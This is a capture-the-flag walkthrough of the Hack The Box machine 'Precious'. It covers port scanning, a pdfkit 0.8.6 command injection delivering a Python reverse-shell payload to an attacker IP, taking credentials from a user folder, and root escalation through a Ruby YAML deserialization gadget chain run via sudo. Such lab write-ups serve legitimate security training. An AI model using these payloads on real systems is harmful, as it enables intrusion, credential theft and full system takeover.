https://app.hackthebox.com/machines/Precious
Enumeration:
Rustscan:
Started with a qucik Rustscan, found 3 open ports :
sudo rustscan -a 10.10.11.189 -- -A -T4 -vv -oN precious_nmap
Open 10.10.11.189:22
Open 10.10.11.189:80
Open 10.10.11.189:8000
In the scan results there is a domain observed, i.e. http://precious.htb/
So, to consolidate all results:
On ports 80, nginx/1.18.0 is running
On port 8000, SimpleHTTPServer 0.6 (Python 3.9.2) is running
Added the domain to the /etc/hosts file. After adding the domain browsed through that domain & found there is a website running to convert web page to PDF.
Gobuster:
Scanned the subdomain & vhost using gobuster but nothing found in both the scans:
As I didn’t get any result from the gobuster scanning I tried some manual enumertaion & checked for the html source but nothing found there are well.😕
Then I thought to play with the webpage & started my own SimpleHttpServer on port 80 & in the parameter part I gave my own http server IP & clicked on submit. Then the page redirected me to the PDF page of my directory :
Initial access:
I downloaded the file from the page & checked for the metadata where I found the creator as “Generated by pdfkit v0.8.6”:
I quickly searched for the exploit of “pdfkit 0.8.6” & landed on the page of an article with the PoC pubished by snyk mentioning the command injection vulnerability in the versions lower than 0.8.7, ref : https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
So as per the article I tried the exploit from myself in this webpage & it’s working :
At this point we are confirmed that the page is vulnerbale to the command injection vulnerability.
I tried different payload here for reverse shell & python3 payload worked for me :
http://IP/?name='%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
And I received the reverse shell :
Stablized the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export term=XTERM
stty raw -echo; fg
After searching many directories I found a directory located in ruby user folder name : ‘.bundle’ in which I found another user ‘henry’ credentials:
User flag :
Using those credentials I quickly tried SSH & logged in successfully & retrieved the user flag 🙂(pwn3d!)
Priv Esc:
Now, as always I started with the manual enumeration & ran ‘sudo -l’, I got this :
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Then I checked for the file content present in ‘/opt/update_dependencies.rb’. I am confused here at this point as there isn’t anything present here whhich looks much helpful. Then with lot of searching I found a blog where it’s mentioned some flaw in “Yaml.load” parameter which is also available in our file :
ref : https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/
This is vulnerable to “Yaml deserialization” attack:
I also found a PoC, ref : https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml So, I created a file name ‘dependencies.yml’ & used this code taken from the PoC :
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod 4777"
method_id: :resolve
Root flag:
And, ran the command :
sudo /usr/bin/ruby /opt/update_dependencies.rb
/bin/bash -p
This provided us the bash shell with root access 🙂(pwn3d!)